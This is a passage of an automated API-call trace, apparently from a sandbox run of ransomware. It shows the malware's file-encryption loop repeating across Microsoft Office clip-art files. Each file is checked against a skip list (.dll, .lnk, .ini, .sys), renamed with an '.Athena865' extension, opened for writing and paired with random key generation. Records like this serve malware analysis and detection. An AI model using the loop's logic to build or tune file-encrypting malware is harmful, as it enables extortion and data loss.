office\\media\\cagcat10\\j0234131.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf.athena865"), dwFlags=0x1) returned 1 [0138.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.789] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26162) returned 1 [0138.789] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.790] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.790] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.793] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.793] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.793] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.794] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0234266.WMF" | out: lpString1="J0234266.WMF") returned="J0234266.WMF" [0138.794] lstrlenW (lpString="J0234266.WMF") returned 12 [0138.794] lstrlenW (lpString="Athena865") returned 9 [0138.794] lstrcmpiW (lpString1="34266.WMF", lpString2="Athena865") returned -1 [0138.794] lstrlenW (lpString=".dll") returned 4 [0138.794] lstrcmpiW (lpString1="J0234266.WMF", lpString2=".dll") returned 1 [0138.794] lstrlenW (lpString=".lnk") returned 4 [0138.794] lstrcmpiW (lpString1="J0234266.WMF", lpString2=".lnk") returned 1 [0138.794] lstrlenW (lpString=".ini") returned 4 [0138.795] lstrcmpiW (lpString1="J0234266.WMF", lpString2=".ini") returned 1 [0138.795] lstrlenW (lpString=".sys") returned 4 [0138.795] lstrcmpiW (lpString1="J0234266.WMF", lpString2=".sys") returned 1 [0138.795] lstrlenW (lpString="J0234266.WMF") returned 12 [0138.795] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF.Athena865") returned 71 [0138.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf.athena865"), dwFlags=0x1) returned 1 [0138.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234266.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234266.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.796] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43134) returned 1 [0138.796] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.797] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.797] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.800] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.801] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.801] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.802] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0234657.WMF" | out: lpString1="J0234657.WMF") returned="J0234657.WMF" [0138.802] lstrlenW (lpString="J0234657.WMF") returned 12 [0138.802] lstrlenW (lpString="Athena865") returned 9 [0138.802] lstrcmpiW (lpString1="34657.WMF", lpString2="Athena865") returned -1 [0138.802] lstrlenW (lpString=".dll") returned 4 [0138.802] lstrcmpiW (lpString1="J0234657.WMF", lpString2=".dll") returned 1 [0138.802] lstrlenW (lpString=".lnk") returned 4 [0138.802] lstrcmpiW (lpString1="J0234657.WMF", lpString2=".lnk") returned 1 [0138.802] lstrlenW (lpString=".ini") returned 4 [0138.802] lstrcmpiW (lpString1="J0234657.WMF", lpString2=".ini") returned 1 [0138.802] lstrlenW (lpString=".sys") returned 4 [0138.802] lstrcmpiW (lpString1="J0234657.WMF", lpString2=".sys") returned 1 [0138.802] lstrlenW (lpString="J0234657.WMF") returned 12 [0138.802] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF.Athena865") returned 71 [0138.802] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf.athena865"), dwFlags=0x1) returned 1 [0138.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.804] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10222) returned 1 [0138.804] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.805] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.805] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.807] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.808] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.808] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.809] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0234687.GIF" | out: lpString1="J0234687.GIF") returned="J0234687.GIF" [0138.809] lstrlenW (lpString="J0234687.GIF") returned 12 [0138.809] lstrlenW (lpString="Athena865") returned 9 [0138.809] lstrcmpiW (lpString1="34687.GIF", lpString2="Athena865") returned -1 [0138.809] lstrlenW (lpString=".dll") returned 4 [0138.809] lstrcmpiW (lpString1="J0234687.GIF", lpString2=".dll") returned 1 [0138.809] lstrlenW (lpString=".lnk") returned 4 [0138.809] lstrcmpiW (lpString1="J0234687.GIF", lpString2=".lnk") returned 1 [0138.809] lstrlenW (lpString=".ini") returned 4 [0138.809] lstrcmpiW (lpString1="J0234687.GIF", lpString2=".ini") returned 1 [0138.809] lstrlenW (lpString=".sys") returned 4 [0138.809] lstrcmpiW (lpString1="J0234687.GIF", lpString2=".sys") returned 1 [0138.809] lstrlenW (lpString="J0234687.GIF") returned 12 [0138.809] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF.Athena865") returned 71 [0138.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif.athena865"), dwFlags=0x1) returned 1 [0138.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.811] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3407) returned 1 [0138.811] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.811] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.811] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.817] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.818] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.818] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.819] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0235241.WMF" | out: lpString1="J0235241.WMF") returned="J0235241.WMF" [0138.819] lstrlenW (lpString="J0235241.WMF") returned 12 [0138.819] lstrlenW (lpString="Athena865") returned 9 [0138.819] lstrcmpiW (lpString1="35241.WMF", lpString2="Athena865") returned -1 [0138.819] lstrlenW (lpString=".dll") returned 4 [0138.819] lstrcmpiW (lpString1="J0235241.WMF", lpString2=".dll") returned 1 [0138.819] lstrlenW (lpString=".lnk") returned 4 [0138.819] lstrcmpiW (lpString1="J0235241.WMF", lpString2=".lnk") returned 1 [0138.819] lstrlenW (lpString=".ini") returned 4 [0138.819] lstrcmpiW (lpString1="J0235241.WMF", lpString2=".ini") returned 1 [0138.819] lstrlenW (lpString=".sys") returned 4 [0138.819] lstrcmpiW (lpString1="J0235241.WMF", lpString2=".sys") returned 1 [0138.819] lstrlenW (lpString="J0235241.WMF") returned 12 [0138.819] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF.Athena865") returned 71 [0138.819] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf.athena865"), dwFlags=0x1) returned 1 [0138.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235241.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235241.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.821] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6176) returned 1 [0138.821] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.821] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.821] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.824] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.825] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.825] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.825] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0235319.WMF" | out: lpString1="J0235319.WMF") returned="J0235319.WMF" [0138.825] lstrlenW (lpString="J0235319.WMF") returned 12 [0138.825] lstrlenW (lpString="Athena865") returned 9 [0138.825] lstrcmpiW (lpString1="35319.WMF", lpString2="Athena865") returned -1 [0138.825] lstrlenW (lpString=".dll") returned 4 [0138.825] lstrcmpiW (lpString1="J0235319.WMF", lpString2=".dll") returned 1 [0138.825] lstrlenW (lpString=".lnk") returned 4 [0138.826] lstrcmpiW (lpString1="J0235319.WMF", lpString2=".lnk") returned 1 [0138.826] lstrlenW (lpString=".ini") returned 4 [0138.826] lstrcmpiW (lpString1="J0235319.WMF", lpString2=".ini") returned 1 [0138.826] lstrlenW (lpString=".sys") returned 4 [0138.826] lstrcmpiW (lpString1="J0235319.WMF", lpString2=".sys") returned 1 [0138.826] lstrlenW (lpString="J0235319.WMF") returned 12 [0138.826] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF.Athena865") returned 71 [0138.826] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf.athena865"), dwFlags=0x1) returned 1 [0138.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.827] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2596) returned 1 [0138.827] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.828] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.828] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.830] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.831] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.831] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.832] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0240695.WMF" | out: lpString1="J0240695.WMF") returned="J0240695.WMF" [0138.832] lstrlenW (lpString="J0240695.WMF") returned 12 [0138.832] lstrlenW (lpString="Athena865") returned 9 [0138.832] lstrcmpiW (lpString1="40695.WMF", lpString2="Athena865") returned -1 [0138.833] lstrlenW (lpString=".dll") returned 4 [0138.833] lstrcmpiW (lpString1="J0240695.WMF", lpString2=".dll") returned 1 [0138.833] lstrlenW (lpString=".lnk") returned 4 [0138.833] lstrcmpiW (lpString1="J0240695.WMF", lpString2=".lnk") returned 1 [0138.833] lstrlenW (lpString=".ini") returned 4 [0138.833] lstrcmpiW (lpString1="J0240695.WMF", lpString2=".ini") returned 1 [0138.833] lstrlenW (lpString=".sys") returned 4 [0138.833] lstrcmpiW (lpString1="J0240695.WMF", lpString2=".sys") returned 1 [0138.833] lstrlenW (lpString="J0240695.WMF") returned 12 [0138.833] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF.Athena865") returned 71 [0138.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf.athena865"), dwFlags=0x1) returned 1 [0138.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.835] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5078) returned 1 [0138.835] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.836] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.836] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.838] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.839] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.839] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.839] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0240719.WMF" | out: lpString1="J0240719.WMF") returned="J0240719.WMF" [0138.839] lstrlenW (lpString="J0240719.WMF") returned 12 [0138.839] lstrlenW (lpString="Athena865") returned 9 [0138.839] lstrcmpiW (lpString1="40719.WMF", lpString2="Athena865") returned -1 [0138.839] lstrlenW (lpString=".dll") returned 4 [0138.839] lstrcmpiW (lpString1="J0240719.WMF", lpString2=".dll") returned 1 [0138.839] lstrlenW (lpString=".lnk") returned 4 [0138.839] lstrcmpiW (lpString1="J0240719.WMF", lpString2=".lnk") returned 1 [0138.839] lstrlenW (lpString=".ini") returned 4 [0138.839] lstrcmpiW (lpString1="J0240719.WMF", lpString2=".ini") returned 1 [0138.839] lstrlenW (lpString=".sys") returned 4 [0138.840] lstrcmpiW (lpString1="J0240719.WMF", lpString2=".sys") returned 1 [0138.840] lstrlenW (lpString="J0240719.WMF") returned 12 [0138.840] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF.Athena865") returned 71 [0138.840] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf.athena865"), dwFlags=0x1) returned 1 [0138.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.841] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6818) returned 1 [0138.841] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.842] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.842] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.847] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.847] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.847] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.848] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0251301.WMF" | out: lpString1="J0251301.WMF") returned="J0251301.WMF" [0138.848] lstrlenW (lpString="J0251301.WMF") returned 12 [0138.848] lstrlenW (lpString="Athena865") returned 9 [0138.848] lstrcmpiW (lpString1="51301.WMF", lpString2="Athena865") returned -1 [0138.848] lstrlenW (lpString=".dll") returned 4 [0138.848] lstrcmpiW (lpString1="J0251301.WMF", lpString2=".dll") returned 1 [0138.848] lstrlenW (lpString=".lnk") returned 4 [0138.848] lstrcmpiW (lpString1="J0251301.WMF", lpString2=".lnk") returned 1 [0138.848] lstrlenW (lpString=".ini") returned 4 [0138.848] lstrcmpiW (lpString1="J0251301.WMF", lpString2=".ini") returned 1 [0138.848] lstrlenW (lpString=".sys") returned 4 [0138.848] lstrcmpiW (lpString1="J0251301.WMF", lpString2=".sys") returned 1 [0138.848] lstrlenW (lpString="J0251301.WMF") returned 12 [0138.848] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF.Athena865") returned 71 [0138.848] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf.athena865"), dwFlags=0x1) returned 1 [0138.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.850] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5272) returned 1 [0138.850] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.851] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.851] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.853] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.854] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.854] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.854] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0251871.WMF" | out: lpString1="J0251871.WMF") returned="J0251871.WMF" [0138.854] lstrlenW (lpString="J0251871.WMF") returned 12 [0138.854] lstrlenW (lpString="Athena865") returned 9 [0138.854] lstrcmpiW (lpString1="51871.WMF", lpString2="Athena865") returned -1 [0138.854] lstrlenW (lpString=".dll") returned 4 [0138.854] lstrcmpiW (lpString1="J0251871.WMF", lpString2=".dll") returned 1 [0138.854] lstrlenW (lpString=".lnk") returned 4 [0138.854] lstrcmpiW (lpString1="J0251871.WMF", lpString2=".lnk") returned 1 [0138.855] lstrlenW (lpString=".ini") returned 4 [0138.855] lstrcmpiW (lpString1="J0251871.WMF", lpString2=".ini") returned 1 [0138.855] lstrlenW (lpString=".sys") returned 4 [0138.855] lstrcmpiW (lpString1="J0251871.WMF", lpString2=".sys") returned 1 [0138.855] lstrlenW (lpString="J0251871.WMF") returned 12 [0138.855] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF.Athena865") returned 71 [0138.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf.athena865"), dwFlags=0x1) returned 1 [0138.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.856] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4658) returned 1 [0138.856] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.857] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.857] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.859] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.860] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.860] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.860] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0251925.WMF" | out: lpString1="J0251925.WMF") returned="J0251925.WMF" [0138.860] lstrlenW (lpString="J0251925.WMF") returned 12 [0138.860] lstrlenW (lpString="Athena865") returned 9 [0138.860] lstrcmpiW (lpString1="51925.WMF", lpString2="Athena865") returned -1 [0138.860] lstrlenW (lpString=".dll") returned 4 [0138.861] lstrcmpiW (lpString1="J0251925.WMF", lpString2=".dll") returned 1 [0138.861] lstrlenW (lpString=".lnk") returned 4 [0138.861] lstrcmpiW (lpString1="J0251925.WMF", lpString2=".lnk") returned 1 [0138.861] lstrlenW (lpString=".ini") returned 4 [0138.861] lstrcmpiW (lpString1="J0251925.WMF", lpString2=".ini") returned 1 [0138.861] lstrlenW (lpString=".sys") returned 4 [0138.861] lstrcmpiW (lpString1="J0251925.WMF", lpString2=".sys") returned 1 [0138.861] lstrlenW (lpString="J0251925.WMF") returned 12 [0138.861] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF.Athena865") returned 71 [0138.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 